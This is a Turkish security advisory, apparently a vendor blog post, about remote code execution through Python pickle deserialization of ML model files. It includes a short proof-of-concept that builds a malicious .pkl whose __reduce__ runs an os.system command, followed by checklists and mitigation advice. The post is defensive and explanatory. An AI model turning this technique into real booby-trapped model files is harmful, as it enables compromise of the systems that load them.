Python'un En Saf Bug'ı: Makine Öğrenimi Modellerinde (.pkl) Uzaktan Kod Çalıştırma (RCE) Zafiyeti

Göz önünde saklanan zafiyetler her zaman en tehlikeli olanlarıdır. Özellikle Makine Öğrenimi (ML) dünyasında veri bilimciler her gün yüzlerce modeli açık kaynaklardan indirip sistemlerine yüklüyor. Ancak sektördeki en yaygın alışkanlıklardan biri olan pickle.load() kullanımı, doğrudan Uzaktan Kod Çalıştırma (RCE - Remote Code Execution) kapısını ardına kadar açıyor.

Temel Değerlendirme: Python'un Makine öğrenimi modellerini (.pkl) kaydetmek ve yüklemek için kullanılan pickle modülü, güvenli olmayan bir tersine serileştirme (deserialization) mekanizması barındırır. Modeli belleğe yüklemek, aynı zamanda o dosyaya gömülmüş olan işletim sistemi komutlarını da arkaplanda çalıştırmak anlamına gelir. Dışarıdan veya güvenilmeyen bir kaynaktan indirilen zararlı bir .pkl dosyasını sisteminizde yüklediğiniz an, saldırgan sunucunuzda keyfi komut çalıştırabilir hale gelir. Eresus Security olarak, özellikle ML boru hatlarında (ML pipelines) bu tip Model Dosyası Zafiyetlerinin (MFV) engellenmesi için, .pkl formatının terk edilip safetensors gibi güvenli formatların kullanılmasını öneriyoruz.

1. Zafiyetin Anatomisi: Pickle Sadece Okumaz, Uygular!

Python'daki pickle modülünün temel amacı bir nesneyi dondurmak (dump) ve daha sonra tekrar canlandırmaktır (load). Sorun şu ki; pickle.load() komutu veriyi belleğe alırken, nesneyi sıfırdan oluşturmak adına __reduce__() adlı özel bir metodu çağırır.

Eğer saldırgan bu metodu kendi hazırladığı zararlı bir kod ile değiştirirse, Python "bu kod güvenli mi?" diye sormadan doğrudan işletim sistemine ("os.system") o komutu iletir. Parçalayıcıları (parser) atlatmaya veya karmaşık belleklere sızmaya gerek yoktur; sadece o dosyanın kod tarafından okutulması yeterlidir.

2. Kanıt (Proof of Concept - PoC): Sömürü Saniyeler Alır

Bu zafiyetin sömürülmesi karmaşık bir tersine mühendislik gerektirmez. Aşağıda saldırganın zararlı bir model dosyası oluşturma sürecinin ne kadar düşük eşikli olduğu gösterilmektedir:

Adım 1: Zararlı Yükün (Payload) Hazırlanması

Saldırgan __reduce__() metodunu manipüle eden bir Python sınıfı tanımlar:

import pickle
import os

class Malicious:
    def __reduce__(self):
        # Bu nesne sunucuda yüklendiği an aşağıdaki bash komutu çalışacak!
        return (os.system, ("touch /tmp/poc",))

Adım 2: Modelin Paketlenmesi

Saldırgan bu kodları sıradan bir model (.pkl) dosyasıymış gibi mühürler ve internette paylaşır:

# Payload'u serileştir
payload = pickle.dumps(Malicious())

# Dosyayı sunucuya yüklenecek formatta kaydet
with open("malicious.pkl", "wb") as f:
    f.write(payload)

Adım 3: Kurbanın Tuzağa Düşmesi

Masum bir veri bilimcisi veya bir E-Ticaret öneri sistemi, bu pre-trained modeli alıp uygulamasında yüklediği anda saldırgan sistemde komut çalıştırma imkânı elde eder:

import pickle

with open("malicious.pkl", "rb") as f:
    pickle.load(f) # <- Patlama anı

Sonuç olarak kurbanın üretim sunucusunda /tmp/poc dosyası (veya daha kötüsü kalıcı bir arka kapı) oluşturulur. Saldırgan artık sisteme erişim sağlamıştır.

3. MFV (Model File Vulnerability) Neden Tehlikeli Bir Trend?

Bu zafiyet TensorFlow, PyTorch veya scikit-learn'den kaynaklanmaz; doğrudan Python dilinin temelinden (core) gelir.

Framework Bağımsızdır: Projeniz, parametreleri veya objeleri kaydetmek/yüklemek için HDF5 veya Pickle tabanlı yapılar kullanıyorsa açık hedeftir.
Tespiti Zordur: Kaggle, GitHub veya HuggingFace gibi devasa eğitim verisi kaynaklarında paylaşılan binlerce .pkl dosyasını kimse çalıştırmadan önce detaylı bir kod analizine sokmaz.
Zafiyet Avcıları (Bug Hunters) İçin Dikkat Çekici Bir Yüzeydir: Herhangi bir web uygulamasında "Lütfen .pkl formatında eğitim modelinizi yükleyin" diyen bir upload (yükleme) butonu varsa, bu doğrudan bir RCE yüzeyi oluşturur.

4. Eresus Security ile Güvenli Makine Öğrenimi Süreçleri Kurun

Model dosyalarınızın veya 3. parti entegrasyonlardan aldığınız verilerin bu tarz basit ama ölümcül Deserialization hatalarına sahip olup olmadığını göz ardı edemezsiniz.

Yalnızca web arayüzünüzün değil; kurduğunuz Makine Öğrenimi süreçlerinin veri tüketim kanallarının da baştan uca incelenmesi gerekir. Eresus Security'nin modern güvenlik denetimleri; veri bilimi altyapılarınızı en ince ayrıntısına kadar test eder ve Pickle zafiyetleri dahil tüm RCE risklerini kapatacak kurumsal mimariler (örneğin .safetensors formatına zorunlu geçiş) tasarlamanıza yardımcı olur.

Saha Kontrol Notları

Bu başlık pratikte yalnızca teorik risk olarak ele alınmamalıdır. AI sistemlerinde zafiyetin etkisi, modelin bulunduğu ortam ve bağlı olduğu veri kaynaklarıyla birlikte değişir.

İnceleme sırasında şu kanıtlar toplanmalıdır:

Model veya agent hangi ortamda çalışıyor?
Hangi kullanıcı veya servis hesabı kullanılıyor?
Hassas veri kaynakları ayrı etiketlenmiş mi?
Model dosyası veya artefact kaynağı doğrulanmış mı?
Yükleme anında kod çalıştırma riski var mı?
Retrieval sonuçları kullanıcı yetkisine göre filtreleniyor mu?
Tool çağrıları ayrı loglanıyor mu?
Kritik aksiyonlarda onay mekanizması var mı?
Test ortamı production verisinden ayrılmış mı?
Olay halinde hangi loglardan geri dönüş yapılacak?

Uygulama Kontrol Listesi

Güvenilmeyen model dosyaları izole ortamda açılmalı.
Model registry erişimi minimum yetkiyle çalışmalı.
Hash, imza veya provenance bilgisi tutulmalı.
Agent tool izinleri görev bazlı ayrılmalı.
Memory ve retrieval kaynakları ayrı güven sınırı olarak ele alınmalı.
Prompt testleri runtime aksiyon testleriyle desteklenmeli.
Her bulgu iş etkisiyle birlikte raporlanmalı.

Karar Noktası

Bu risk müşteri verisine, üretim API’sine, geliştirici ortamına veya model yükleme hattına dokunuyorsa bekletilmemelidir. Eresus Security bu tip incelemelerde dosya, runtime, tool ve veri sınırını birlikte test ederek gerçek saldırı yolunu kanıtlar.

Ek Kontrol Soruları

Bu risk hangi varlıkları etkiliyor?
Hangi kullanıcı rolleri bu akışa erişebiliyor?
Aynı sorun başka endpoint veya entegrasyonda tekrar ediyor mu?
Bulgunun müşteri verisine etkisi var mı?
Loglardan olayın izi sürülebiliyor mu?
Düzeltme sonrası retest nasıl yapılacak?
Geçici önlem ile kalıcı çözüm ayrıldı mı?
İş etkisi teknik ekibin dışında da anlaşılır mı?
Benzer hata için önleyici kontrol eklenebilir mi?
Ekip bu kontrolü release sürecine bağlayabilir mi?
Gerekirse bağımsız doğrulama için hangi kanıtlar hazırlanmalı?
Sonraki sprintte hangi iç bağlantı ve servis sayfası desteklemeli?